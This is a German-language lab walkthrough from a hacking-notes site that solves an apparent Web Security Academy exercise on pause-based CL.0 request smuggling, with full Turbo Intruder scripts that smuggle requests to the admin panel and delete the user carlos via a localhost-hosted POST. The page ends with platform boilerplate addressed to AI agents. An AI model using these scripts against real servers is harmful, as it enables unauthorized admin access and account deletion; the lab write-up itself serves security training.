> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/web/request-smuggling/server-side-pause-based-request-smuggling.md).

# Serverseitiges Pause-basiertes Request Smuggling

### Serverseitiges pausenbasiertes Request Smuggling

Das Labor ist anfällig für einen pausenbasierten serverseitigen Request-Smuggling-Angriff. Der Frontend-Server sendet Anfragen kontinuierlich an den internen Server, und der interne Server schließt die Verbindung nach einer Inaktivitätsverzögerung auf einigen Endpunkten nicht.

Um das Labor zu lösen:

* Identifizieren Sie einen Desynchronisierungsvektor **CL.0** basierend auf einer Pause,
* Schmuggle eine Anfrage an den internen Server, um auf das Admin-Panel zuzugreifen **/admin**,
* Dann den Benutzer löschen **carlos**.

**Hinweis**/ Einige solche Schwachstellen können mit den nativen Burp-Tools nicht ausgenutzt werden. Es ist notwendig, die **Turbo Intruder** Erweiterung.

<figure><img src="/files/0cbe1b3c3ee1d5940c0b7829ac672e2a91cbc846" alt=""><figcaption></figcaption></figure>

#### **Verwundbare Stelle: `/resources`**

Durch Senden einer Anfrage an `/resources` und das Einfügen einer langen Pause (61 Sekunden) kann eine Desynchronisierung zwischen Frontend und Backend verursacht werden:

```http
POST /resources HTTP/1.1
Host: 0a74000e041dbbc380a6498700dd0096.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 84

GET /error HTTP/1.1
Host: 0a74000e041dbbc380a6498700dd0096.web-security-academy.net
```

Um dieses Verhalten auszunutzen, verwenden wir **Turbo Intruder**.

<figure><img src="/files/9e73a527e5f78a2f6d07dfd5cfe34e39ed570711" alt=""><figcaption></figcaption></figure>

#### **Basis-Skript**

Das Standardskript wird geändert, um eine Pause von **61 000 ms** nach dem Senden des Markers (`pauseMarker`), damit die zweite Anfrage nach der Verzögerung injiziert wird:

<figure><img src="/files/5c6aee915e29f903f36ecb1bb2186830badc33c9" alt=""><figcaption></figcaption></figure>

Die Analyse zeigt, dass zwei Anfragen nach etwa **62 Sekunden**, am Backend eintreffen, was die Schwachstelle bestätigt.

```python
def queueRequests(target, wordlists):
    engine = RequestEngine(
        endpoint=target.endpoint,
        concurrentConnections=1,
        requestsPerConnection=100,
        pipeline=False,
    )

    attacker_request = """POST /resources HTTP/1.1
Host: 0a83008103e1b13c81d05266005700e7.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: %s

%s"""

    smuggled_request = """GET /error HTTP/1.1
Host: 0a83008103e1b13c81d05266005700e7.web-security-academy.net

"""

    normal_request = """GET / HTTP/1.1
Host: 0a83008103e1b13c81d05266005700e7.web-security-academy.net

"""

    engine.queue(attacker_request, [len(smuggled_request), smuggled_request], pauseMarker=['/r/n/r/nGET'], pauseTime=61000)
    engine.queue(normal_request)


def handleResponse(req, interesting):
    table.add(req)
```

<figure><img src="/files/0ad15b5a38b89804a52a9891676d43986b5b55c1" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/97e6d39a497dcd8102a4334d663aa1a0aa61b1b9" alt=""><figcaption></figcaption></figure>

#### **Injektion in Richtung `/admin/`**

Durch Anpassung der geschmuggelten Anfrage an das Admin-Panel:

```http
def queueRequests(target, wordlists):
    engine = RequestEngine(
        endpoint=target.endpoint,
        concurrentConnections=1,
        requestsPerConnection=100,
        pipeline=False,
    )

    attacker_request = """POST /resources HTTP/1.1
Host: 0a83008103e1b13c81d05266005700e7.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: %s

%s"""

    smuggled_request = """GET /admin/ HTTP/1.1
Host: 0a83008103e1b13c81d05266005700e7.web-security-academy.net
"""

    normal_request = """GET / HTTP/1.1
Host: 0a83008103e1b13c81d05266005700e7.web-security-academy.net

"""

    engine.queue(attacker_request, [len(smuggled_request), smuggled_request], pauseMarker=['/r/n/r/nGET'], pauseTime=61000)
    engine.queue(normal_request)


def handleResponse(req, interesting):
    table.add(req)
```

Der interne Server antwortet mit **Gefunden**, was beweist, dass Administratorzugriff erzwungen wurde.

<figure><img src="/files/910cd8ccfc785d5767402c7a81f8ced09cb4405b" alt=""><figcaption></figcaption></figure>

#### **Löschung des Benutzers Carlos**

Um den CSRF-Schutz zu umgehen, wird der Host der geschmuggelten Anfrage geändert zu **localhost**, einschließlich des POST-Body mit dem erfassten Token:

```http
def queueRequests(target, wordlists):
    engine = RequestEngine(
        endpoint=target.endpoint,
        concurrentConnections=1,
        requestsPerConnection=100,
        pipeline=False,
    )

    attacker_request = """POST /resources HTTP/1.1
Host: 0a83008103e1b13c81d05266005700e7.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: %s

%s"""

    smuggled_request = """POST /admin/delete?username=carlos HTTP/1.1
Host: localhost
Content-Length: 53

csrf=Re4MnOmcNv3hE8gobZocHnS9vcwce2sc&username=carlos
"""

    normal_request = """GET / HTTP/1.1
Host: 0a83008103e1b13c81d05266005700e7.web-security-academy.net

"""

    engine.queue(attacker_request, [len(smuggled_request), smuggled_request], pauseMarker=['/r/n/r/nPOST'], pauseTime=61000)
    engine.queue(normal_request)


def handleResponse(req, interesting):
    table.add(req)
```

Die Injektion löst auf dem internen Server den geschmuggelten POST aus, wodurch der Benutzer gelöscht wird **carlos**.

<figure><img src="/files/5f13ef7f2921a90ea9b8d5de5b30179ebe707672" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/de/web/request-smuggling/server-side-pause-based-request-smuggling.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
